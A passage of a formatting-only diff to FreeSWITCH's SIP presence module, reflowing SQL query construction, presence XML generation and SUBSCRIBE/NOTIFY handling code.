"sip_subscriptions.profile_name=sip_presence.profile_name) "
- "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'",
+ "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence' and sip_subscriptions.full_from like '%%%q%%'",
switch_str_nil(status), switch_str_nil(rpid), from);
} else {
- sql = switch_mprintf(
- "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
+ sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
"sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
"sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
"sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
@@ -456,7 +449,8 @@
"from sip_subscriptions left join sip_presence on "
"(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
"sip_subscriptions.profile_name=sip_presence.profile_name) "
- "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence'", switch_str_nil(status), switch_str_nil(rpid));
+ "where sip_subscriptions.expires > -1 and sip_subscriptions.event='presence'", switch_str_nil(status),
+ switch_str_nil(rpid));
}
switch_assert(sql != NULL);
@@ -465,7 +459,7 @@
switch_hash_this(hi, &var, NULL, &val);
profile = (sofia_profile_t *) val;
- if (strcmp((char *)var, profile->name)) {
+ if (strcmp((char *) var, profile->name)) {
if (mod_sofia_globals.debug_presence > 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s is an alias, skipping\n", (char *) var);
}
@@ -544,11 +538,11 @@
"(sip_registrations.sip_user=sip_presence.sip_user and sip_registrations.sip_host=sip_presence.sip_host and "
"sip_registrations.profile_name=sip_presence.profile_name) "
"where sip_registrations.sip_user='%q' and "
- "(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')",
+ "(sip_registrations.sip_host='%q' or sip_registrations.presence_hosts like '%%%q%%')",
probe_host, probe_euser, probe_host, probe_host);
switch_assert(sql);
-
+
if (mod_sofia_globals.debug_presence > 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_PROBE_SQL\n", profile->name);
}
@@ -574,8 +568,8 @@
break;
}
-
+
if (!mod_sofia_globals.profile_hash)
goto done;
@@ -584,7 +578,7 @@
switch_hash_this(hi, &var, NULL, &val);
profile = (sofia_profile_t *) val;
- if (strcmp((char *)var, profile->name)) {
+ if (strcmp((char *) var, profile->name)) {
if (mod_sofia_globals.debug_presence > 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s is an alias, skipping\n", (char *) var);
}
@@ -600,8 +594,8 @@
if (call_info) {
const char *uuid = switch_event_get_header(event, "unique-id");
-
+
#if 0
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA EVENT:\n");
@@ -611,58 +605,52 @@
if (uuid) {
sql = switch_mprintf("update sip_dialogs set call_info_state='%q' where hostname='%q' and uuid='%q'",
- call_info_state,
- mod_sofia_globals.hostname,
- uuid);
+ call_info_state, mod_sofia_globals.hostname, uuid);
} else {
sql = switch_mprintf("update sip_dialogs set call_info_state='%q' where hostname='%q' and sip_dialogs.sip_from_user='%q' "
- "and sip_dialogs.sip_from_host='%q' and call_info='%q'",
- call_info_state,
- mod_sofia_globals.hostname,
- euser, host, call_info);
-
+ "and sip_dialogs.sip_from_host='%q' and call_info='%q'",
+ call_info_state, mod_sofia_globals.hostname, euser, host, call_info);
+
}
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "STATE SQL %s\n", sql);
}
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
-
+
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "PROCESS PRESENCE EVENT\n");
}
sync_sla(profile, euser, host, SWITCH_TRUE, SWITCH_TRUE);
}
-
- if ((sql = switch_mprintf(
-
- "select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
- "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
- "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
- "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
- "sip_subscriptions.accept,sip_subscriptions.profile_name"
- ",'%q','%q','%q',sip_presence.status,sip_presence.rpid "
- "from sip_subscriptions "
- "left join sip_presence on "
- "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
- "sip_subscriptions.profile_name=sip_presence.profile_name) "
- "where sip_subscriptions.expires > -1 and (event='%q' or event='%q') and sub_to_user='%q' "
- "and (sub_to_host='%q' or presence_hosts like '%%%q%%') "
- "and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)",
- switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile->name))) {
+ if ((sql = switch_mprintf("select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,"
+ "sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,"
+ "sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,"
+ "sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,"
+ "sip_subscriptions.accept,sip_subscriptions.profile_name"
+ ",'%q','%q','%q',sip_presence.status,sip_presence.rpid "
+ "from sip_subscriptions "
+ "left join sip_presence on "
+ "(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and "
+ "sip_subscriptions.profile_name=sip_presence.profile_name) "
+ "where sip_subscriptions.expires > -1 and (event='%q' or event='%q') and sub_to_user='%q' "
+ "and (sub_to_host='%q' or presence_hosts like '%%%q%%') "
+ "and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)",
+ switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile->name))) {
+
struct presence_helper helper = { 0 };
helper.profile = profile;
helper.event = event;
SWITCH_STANDARD_STREAM(helper.stream);
switch_assert(helper.stream.data);
-
+
if (mod_sofia_globals.debug_presence > 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_SQL (%s)\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s START_PRESENCE_SQL (%s)\n",
event->event_id == SWITCH_EVENT_PRESENCE_IN ? "IN" : "OUT", profile->name);
}
@@ -678,14 +666,13 @@
free(buf);
}
- sofia_glue_execute_sql_callback(profile,
- NULL, sql, sofia_presence_sub_callback, &helper);
+ sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_presence_sub_callback, &helper);
if (mod_sofia_globals.debug_presence > 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s END_PRESENCE_SQL (%s)\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s END_PRESENCE_SQL (%s)\n",
event->event_id == SWITCH_EVENT_PRESENCE_IN ? "IN" : "OUT", profile->name);
}
-
+
switch_safe_free(sql);
if (!zstr((char *) helper.stream.data)) {
@@ -744,7 +731,7 @@
while (mod_sofia_globals.running == 1) {
int count = 0;
-
+
if (switch_queue_trypop(mod_sofia_globals.presence_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_event_t *event = (switch_event_t *) pop;
@@ -931,7 +918,7 @@
if (!zstr(to_user)) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "to-user", to_user);
}
-
+
if (zstr(state)) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "unique-id", SOFIA_CHAT_PROTO);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-state", "CS_HANGUP");
@@ -997,50 +984,40 @@
if (switch_stristr("polycom", user_agent)) {
*ct = "application/xpidf+xml";
-
+
/* of course!, lets make a big deal over dashes. Now the stupidity is complete. */
if (!strcmp(prpid, "on-the-phone")) {
prpid = "onthephone";
}
- ret = switch_mprintf(
- "<?xml version=\"1.0\"?>\n"
- "<!DOCTYPE presence PUBLIC \"-//IETF//DTD RFCxxxx XPIDF 1.0//EN\" \"xpidf.dtd\">\n"
- "<presence>\n"
- " <status>\n"
- " <note>%s</note>\n"
- " </status>\n"
- " <presentity uri=\"%s;method=SUBSCRIBE\" />\n"
- " <atom id=\"%s\">\n"
- " <address uri=\"%s;user=ip\" priority=\"0.800000\">\n"
- " <status status=\"%s\" />\n"
- " <msnsubstatus substatus=\"%s\" />\n"
- " </address>\n"
- " </atom>\n"
- "</presence>\n", status, id, id, url, open, prpid
- );
+ ret = switch_mprintf("<?xml version=\"1.0\"?>\n"
+ "<!DOCTYPE presence PUBLIC \"-//IETF//DTD RFCxxxx XPIDF 1.0//EN\" \"xpidf.dtd\">\n"
+ "<presence>\n"
+ " <status>\n"
+ " <note>%s</note>\n"
+ " </status>\n"
+ " <presentity uri=\"%s;method=SUBSCRIBE\" />\n"
+ " <atom id=\"%s\">\n"
+ " <address uri=\"%s;user=ip\" priority=\"0.800000\">\n"
+ " <status status=\"%s\" />\n"
+ " <msnsubstatus substatus=\"%s\" />\n" " </address>\n" " </atom>\n" "</presence>\n", status, id, id, url, open, prpid);
} else {
*ct = "application/pidf+xml";
- ret = switch_mprintf(
- "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \n"
- "<presence xmlns='urn:ietf:params:xml:ns:pidf' \n"
- "xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n"
- "xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n"
- "xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'>\n"
-
- " <tuple id='t6a5ed77e'>\n"
- " <status>\r\n"
- " <basic>%s</basic>\n"
- " </status>\n"
- " </tuple>\n"
- " <dm:person id='p06360c4a'>\n"
- " <rpid:activities>\r\n"
- " <rpid:%s/>\n"
- " </rpid:activities>\n"
- " <dm:note>%s</dm:note>\n"
- " </dm:person>\n"
- "</presence>", id, open, prpid, status);
+ ret = switch_mprintf("<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \n"
+ "<presence xmlns='urn:ietf:params:xml:ns:pidf' \n"
+ "xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n"
+ "xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n"
+ "xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'>\n"
+ " <tuple id='t6a5ed77e'>\n"
+ " <status>\r\n"
+ " <basic>%s</basic>\n"
+ " </status>\n"
+ " </tuple>\n"
+ " <dm:person id='p06360c4a'>\n"
+ " <rpid:activities>\r\n"
+ " <rpid:%s/>\n"
+ " </rpid:activities>\n" " <dm:note>%s</dm:note>\n" " </dm:person>\n" "</presence>", id, open, prpid, status);
}
@@ -1101,26 +1078,26 @@
status = "Available";
}
}
-
+
if (profile_name && strcasecmp(profile_name, helper->profile->name)) {
- if ((ext_profile = sofia_glue_find_profile(profile_name))) {
- profile = ext_profile;
- }
- }
-
+ if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+ profile = ext_profile;
+ }
+ }
+
if (!(nh = nua_handle_by_call_id(profile->nua, call_id))) {
goto end;
}
-
+
if (expires) {
long tmp = atol(expires);
if (tmp > 0) {
- exptime = tmp - switch_epoch_time_now(NULL);// - SUB_OVERLAP;
+ exptime = tmp - switch_epoch_time_now(NULL); // - SUB_OVERLAP;
} else {
exptime = tmp;
}
}
-
+
if (!rpid) {
rpid = "unknown";
}
@@ -1134,8 +1111,8 @@
}
if (mod_sofia_globals.debug_presence > 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
- "SEND PRESENCE\nTo: \t%s@%s\nFrom: \t%s@%s\nCall-ID: \t%s\nProfile:\t%s [%s]\n\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
+ "SEND PRESENCE\nTo: \t%s@%s\nFrom: \t%s@%s\nCall-ID: \t%s\nProfile:\t%s [%s]\n\n",
user, host, sub_to_user, sub_to_host, call_id, profile_name, helper->profile->name);
}
@@ -1312,7 +1289,7 @@
if (zstr(from_id)) {
from_id = p_to_user;
}
-
+
if (zstr(from_id)) {
switch_snprintf(status_line, sizeof(status_line), "On The Phone %s", status);
} else {
@@ -1325,11 +1302,11 @@
} else {
open = "closed";
}
-
+
prpid = translate_rpid(rpid);
pl = gen_pidf(user_agent, clean_id, profile->url, open, rpid, prpid, status_line, &ct);
}
-
+
} else {
if (in) {
open = "open";
@@ -1339,15 +1316,15 @@
prpid = translate_rpid(rpid);
pl = gen_pidf(user_agent, clean_id, profile->url, open, rpid, prpid, status, &ct);
}
-
+
nua_handle_bind(nh, &mod_sofia_globals.keep_private);
-
+
if (helper->event && helper->event->event_id == SWITCH_EVENT_PRESENCE_OUT) {
switch_set_string(sstr, "terminated;reason=noresource");
switch_set_string(expires_str, "0");
- kill_handle = 1;
+ kill_handle = 1;
} else if (exptime > 0) {
- switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned)exptime);
+ switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned) exptime);
} else {
unsigned delta = (unsigned) (exptime * -1);
switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", delta);
@@ -1363,13 +1340,12 @@
- nua_notify(nh,
+ nua_notify(nh,
TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
- SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
- SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
-
+ SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
+
end:
-
+
if (ext_profile) {
sofia_glue_release_profile(ext_profile);
}
@@ -1406,7 +1382,7 @@
profile = ext_profile;
}
}
-
+
if (!(nh = nua_handle_by_call_id(h->profile->nua, call_id))) {
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Cannot find handle for %s\n", call_id);
@@ -1428,7 +1404,7 @@
h->total++;
- end:
+ end:
if (ext_profile) {
sofia_glue_release_profile(ext_profile);
@@ -1477,13 +1453,13 @@
char *host = argv[3];
char *event = argv[4];
int i;
- char sstr[128] = "", expires_str[128] = "";
+ char sstr[128] = "", expires_str[128] = "";
time_t exptime = 3600;
nua_handle_t *nh;
if (mod_sofia_globals.debug_sla > 1) {
- for(i = 0; i < argc; i++) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"SLA3: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
+ for (i = 0; i < argc; i++) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA3: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
}
}
@@ -1496,13 +1472,13 @@
}
if (exptime > 0) {
- switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned)exptime);
+ switch_snprintf(sstr, sizeof(sstr), "active;expires=%u", (unsigned) exptime);
} else {
switch_snprintf(sstr, sizeof(sstr), "terminated;reason=noresource");
}
-
- switch_snprintf(expires_str, sizeof(expires_str), "%u", (unsigned)exptime);
+ switch_snprintf(expires_str, sizeof(expires_str), "%u", (unsigned) exptime);
+
data = switch_core_hash_find(sh->hash, key);
if (data) {
@@ -1510,27 +1486,23 @@
} else {
tmp = switch_core_sprintf(sh->pool, "<sip:%s>;appearance-index=*;appearance-state=idle", host);
}
-
+
if (!strcasecmp(event, "line-seize") && (nh = nua_handle_by_call_id(sh->profile->nua, call_id))) {
char *hack;
- if ((hack = (char *)switch_stristr("=seized", tmp))) {
+ if ((hack = (char *) switch_stristr("=seized", tmp))) {
switch_snprintf(hack, 7, "=idle ");
}
nua_notify(nh,
SIPTAG_EXPIRES_STR("0"),
- SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=noresource"),
- SIPTAG_EVENT_STR("line-seize"),
- SIPTAG_CALL_INFO_STR(tmp),
- TAG_END());
+ SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=noresource"), SIPTAG_EVENT_STR("line-seize"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
return 0;
}
-
+
if (!strcasecmp(event, "call-info") && (nh = nua_handle_by_call_id(sh->profile->nua, call_id))) {
nua_notify(nh,
TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
- SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
- SIPTAG_EVENT_STR("call-info"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
+ SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR("call-info"), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
}
@@ -1549,8 +1521,8 @@
int i;
if (mod_sofia_globals.debug_sla > 1) {
- for(i = 0; i < argc; i++) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"SLA2: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
+ for (i = 0; i < argc; i++) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SLA2: %d [%s]=[%s]\n", i, columnNames[i], argv[i]);
}
}
@@ -1563,9 +1535,9 @@
}
switch_snprintf(key, sizeof(key), "%s%s", user, host);
-
+
data = switch_core_hash_find(sh->hash, key);
-
+
if (data) {
tmp = switch_core_sprintf(sh->pool, "%s,<sip:%s>;%s;appearance-state=%s", data, host, info, state);
} else {
@@ -1573,7 +1545,7 @@
}
switch_core_hash_insert(sh->hash, key, tmp);
-
+
return 0;
}
@@ -1587,14 +1559,9 @@
sh = switch_core_alloc(pool, sizeof(*sh));
sh->pool = pool;
switch_core_hash_init(&sh->hash, sh->pool);
-
+
sql = switch_mprintf("select sip_from_user,sip_from_host,call_info,call_info_state from sip_dialogs "
- "where hostname='%q' "
- "and sip_from_user='%q' and sip_from_host='%q' ",
- mod_sofia_globals.hostname,
- to_user,
- to_host
- );
+ "where hostname='%q' " "and sip_from_user='%q' and sip_from_host='%q' ", mod_sofia_globals.hostname, to_user, to_host);
if (mod_sofia_globals.debug_sla > 1) {
@@ -1603,27 +1570,18 @@
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, broadsoft_sla_gather_state_callback, sh);
switch_safe_free(sql);
-
+
if (unseize) {
sql = switch_mprintf("select call_id,expires,sub_to_user,sub_to_host,event "
"from sip_subscriptions "
"where expires > -1 and hostname='%q' "
"and sub_to_user='%q' and sub_to_host='%q' "
- "and (event='call-info' or event='line-seize')",
- mod_sofia_globals.hostname,
- to_user,
- to_host
- );
+ "and (event='call-info' or event='line-seize')", mod_sofia_globals.hostname, to_user, to_host);
} else {
sql = switch_mprintf("select call_id,expires,sub_to_user,sub_to_host,event "
"from sip_subscriptions "
"where expires > -1 and hostname='%q' "
- "and sub_to_user='%q' and sub_to_host='%q' "
- "and (event='call-info')",
- mod_sofia_globals.hostname,
- to_user,
- to_host
- );
+ "and sub_to_user='%q' and sub_to_host='%q' " "and (event='call-info')", mod_sofia_globals.hostname, to_user, to_host);
}
@@ -1639,10 +1597,7 @@
if (clear) {
- sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
- to_user,
- to_host
- );
+ sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'", to_user, to_host);
if (mod_sofia_globals.debug_sla > 1) {
@@ -1696,11 +1651,11 @@
return;
}
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
if (sofia_glue_check_nat(profile, network_ip)) {
is_auto_nat = 1;
- }
+ }
tl_gets(tags, NUTAG_SUBSTATE_REF(sub_state), TAG_END());
@@ -1719,7 +1674,7 @@
display = "\"user\"";
}
}
- } else {
+ } else {
display = "\"user\"";
}
@@ -1778,22 +1733,13 @@
ipv6 = strchr(contact_host, ':');
if (contact->m_url->url_params) {
contact_str = switch_mprintf("%s <sip:%s@%s%s%s%s;%s>%s",
- display, contact->m_url->url_user,
- ipv6 ? "[" : "",
- contact_host,
- ipv6 ? "]" : "",
- new_port,
- contact->m_url->url_params,
- is_nat ? ";fs_nat=yes" : "");
+ display, contact->m_url->url_user,
+ ipv6 ? "[" : "",
+ contact_host, ipv6 ? "]" : "", new_port, contact->m_url->url_params, is_nat ? ";fs_nat=yes" : "");
} else {
contact_str = switch_mprintf("%s <sip:%s@%s%s%s%s>%s",
- display,
- contact->m_url->url_user,
- ipv6 ? "[" : "",
- contact_host,
- ipv6 ? "]" : "",
- new_port,
- is_nat ? ";fs_nat=yes" : "");
+ display,
+ contact->m_url->url_user, ipv6 ? "[" : "", contact_host, ipv6 ? "]" : "", new_port, is_nat ? ";fs_nat=yes" : "");
}
@@ -1841,7 +1787,7 @@
if ((p = strchr(protocol, '+'))) {
*p = '\0';
}
-
+
if (switch_event_create(&sevent, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, "proto", protocol);
switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, "login", profile->name);
@@ -1884,13 +1830,13 @@
call_id = sip->sip_call_id->i_id;
full_from = sip_header_as_string(profile->home, (void *) sip->sip_from);
full_via = sip_header_as_string(profile->home, (void *) sip->sip_via);
-
+
if (sip->sip_expires->ex_delta > 31536000) {
sip->sip_expires->ex_delta = 31536000;
}
exp_delta = profile->force_subscription_expires ? profile->force_subscription_expires : (sip->sip_expires ? sip->sip_expires->ex_delta : 3600);
-
+
if (exp_delta) {
exp_abs = (long) switch_epoch_time_now(NULL) + exp_delta;
} else {
@@ -1899,14 +1845,13 @@
}
switch_snprintf(exp_delta_str, sizeof(exp_delta_str), "%ld", exp_delta);
-
+
if (sofia_test_pflag(profile, PFLAG_MULTIREG)) {
sql = switch_mprintf("delete from sip_subscriptions where call_id='%q' "
"or (proto='%q' and sip_user='%q' and sip_host='%q' "
"and sub_to_user='%q' and sub_to_host='%q' and event='%q' and hostname='%q' "
"and contact='%q')",
- call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname,
- contact_str);
+ call_id, proto, from_user, from_host, to_user, to_host, event, mod_sofia_globals.hostname, contact_str);
} else {
sql = switch_mprintf("delete from sip_subscriptions where "
@@ -1929,21 +1874,21 @@
switch_snprintf(accept + strlen(accept), sizeof(accept) - strlen(accept), "%s%s ", ap->ac_type, ap->ac_next ? "," : "");
ap = ap->ac_next;
}
-
+
sql = switch_mprintf("insert into sip_subscriptions "
"(proto,sip_user,sip_host,sub_to_user,sub_to_host,presence_hosts,event,contact,call_id,full_from,"
"full_via,expires,user_agent,accept,profile_name,hostname,network_port,network_ip) "
"values ('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q',%ld,'%q','%q','%q','%q','%d','%q')",
- proto, from_user, from_host, to_user, to_host, profile->presence_hosts ? profile->presence_hosts : to_host,
- event, contact_str, call_id, full_from, full_via,
+ proto, from_user, from_host, to_user, to_host, profile->presence_hosts ? profile->presence_hosts : to_host,
+ event, contact_str, call_id, full_from, full_via,
//sofia_test_pflag(profile, PFLAG_MULTIREG) ? switch_epoch_time_now(NULL) + exp_delta : exp_delta * -1,
- (long)switch_epoch_time_now(NULL) + (exp_delta * 2),
- full_agent, accept, profile->name,mod_sofia_globals.hostname, network_port, network_ip);
-
+ (long) switch_epoch_time_now(NULL) + (exp_delta * 2),
+ full_agent, accept, profile->name, mod_sofia_globals.hostname, network_port, network_ip);
+
switch_assert(sql != NULL);
if (mod_sofia_globals.debug_presence > 0 || mod_sofia_globals.debug_sla > 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s SUBSCRIBE %s@%s %s@%s\n%s\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s SUBSCRIBE %s@%s %s@%s\n%s\n",
profile->name, from_user, from_host, to_user, to_host, sql);
}
@@ -1957,21 +1902,15 @@
if (status < 200) {
char *sticky = NULL;
char *contactstr = profile->url;
- char *p = NULL, *new_contactstr = NULL;
-
+ char *p = NULL, *new_contactstr = NULL;
+
if (is_nat) {
char params[128] = "";
if (contact->m_url->url_params) {
switch_snprintf(params, sizeof(params), ";%s", contact->m_url->url_params);
}
ipv6 = strchr(network_ip, ':');
- sticky = switch_mprintf("sip:%s@%s%s%s:%d%s",
- contact_user,
- ipv6 ? "[" : "",
- network_ip,
- ipv6 ? "]" : "",
- network_port,
- params);
+ sticky = switch_mprintf("sip:%s@%s%s%s:%d%s", contact_user, ipv6 ? "[" : "", network_ip, ipv6 ? "]" : "", network_port, params);
}
if (is_auto_nat) {
@@ -1980,7 +1919,7 @@
contactstr = profile->url;
}
-
+
if (switch_stristr("port=tcp", contact->m_url->url_params)) {
if (is_auto_nat) {
contactstr = profile->tcp_public_contact;
@@ -2002,15 +1941,12 @@
if ((p = strchr(contactstr, '@'))) {
new_contactstr = switch_mprintf("sip:%s%s", to_user, p);
- }
+ }
nua_respond(nh, SIP_202_ACCEPTED,
SIPTAG_CONTACT_STR(new_contactstr),
- NUTAG_WITH_THIS(nua),
- SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
- SIPTAG_EXPIRES_STR(exp_delta_str),
- TAG_IF(sticky, NUTAG_PROXY(sticky)),
- TAG_END());
+ NUTAG_WITH_THIS(nua),
+ SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EXPIRES_STR(exp_delta_str), TAG_IF(sticky, NUTAG_PROXY(sticky)), TAG_END());
switch_safe_free(new_contactstr);
switch_safe_free(sticky);
@@ -2028,22 +1964,18 @@
nua_notify(nh,
SIPTAG_EXPIRES_STR("0"),
- SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
- TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
- TAG_END());
+ SIPTAG_SUBSCRIPTION_STATE_STR(sstr), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
-
+
if (!strcasecmp(event, "line-seize")) {
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CANCEL LINE SEIZE\n");
}
sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
- to_user,
- to_host
- );
+ to_user, to_host);
-
+
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CLEAR SQL %s\n", sql);
}
@@ -2071,7 +2003,7 @@
} else if (!strcasecmp(event, "line-seize")) {
char *full_call_info = NULL;
char *p;
-
+
if (sip->sip_call_info) {
full_call_info = sip_header_as_string(profile->home, (void *) sip->sip_call_info);
if ((p = strchr(full_call_info, ';'))) {
@@ -2081,31 +2013,22 @@
nua_notify(nh,
SIPTAG_EXPIRES_STR(exp_delta_str),
SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
- SIPTAG_EVENT_STR("line-seize"),
- TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)),
- TAG_END());
+ SIPTAG_EVENT_STR("line-seize"), TAG_IF(full_call_info, SIPTAG_CALL_INFO_STR(full_call_info)), TAG_END());
-
+
sql = switch_mprintf("delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'",
- to_user,
- to_host
- );
+ to_user, to_host);
-
+
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "CLEAR SQL %s\n", sql);
}
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
-
+
sql = switch_mprintf("insert into sip_dialogs (sip_from_user,sip_from_host,call_info,call_info_state,hostname,expires) "
"values ('%q','%q','%q','seized','%q',%ld)",
- to_user,
- to_host,
- switch_str_nil(p),
- mod_sofia_globals.hostname,
- switch_epoch_time_now(NULL) + exp_delta
- );
+ to_user, to_host, switch_str_nil(p), mod_sofia_globals.hostname, switch_epoch_time_now(NULL) + exp_delta);
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SEIZE SQL %s\n", sql);
@@ -2124,15 +2047,13 @@
switch_safe_free(sstr);
- if (!strcasecmp(event, "message-summary")) {
- if ((sql = switch_mprintf(
- "select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,"
+ if (!strcasecmp(event, "message-summary")) {
+ if ((sql = switch_mprintf("select proto,sip_user,'%q',sub_to_user,sub_to_host,event,contact,call_id,full_from,"
"full_via,expires,user_agent,accept,profile_name,network_ip"
" from sip_subscriptions where expires > -1 and event='message-summary' and sip_user='%q' "
- "and (sip_host='%q' or presence_hosts like '%%%q%%')",
- to_host, to_user, to_host, to_host))) {
